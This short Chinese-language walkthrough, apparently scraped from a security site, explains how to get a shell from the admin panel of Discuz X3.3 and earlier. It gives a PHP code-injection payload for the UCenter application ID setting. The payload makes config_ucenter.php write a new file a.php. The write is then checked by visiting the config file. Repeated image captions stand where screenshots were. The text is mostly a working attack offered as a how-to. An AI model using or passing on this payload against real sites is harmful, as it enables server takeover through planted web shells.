适用于 Discuz X3.3 及之前版本

魔术引号需关闭

站长 - Ucenter 设置 - Ucenter 应用 ID

填入 123');file_put_contents('a.php','');//

它将在同目录下生成a.php 内容为
Discuz X3 后台拿 shell-ChaBug安全
保存

本地查看 config_ucenter.php
Discuz X3 后台拿 shell-ChaBug安全
访问 /config/config_ucenter.php
Discuz X3 后台拿 shell-ChaBug安全
空白

file_put_contents 执行成功
Discuz X3 后台拿 shell-ChaBug安全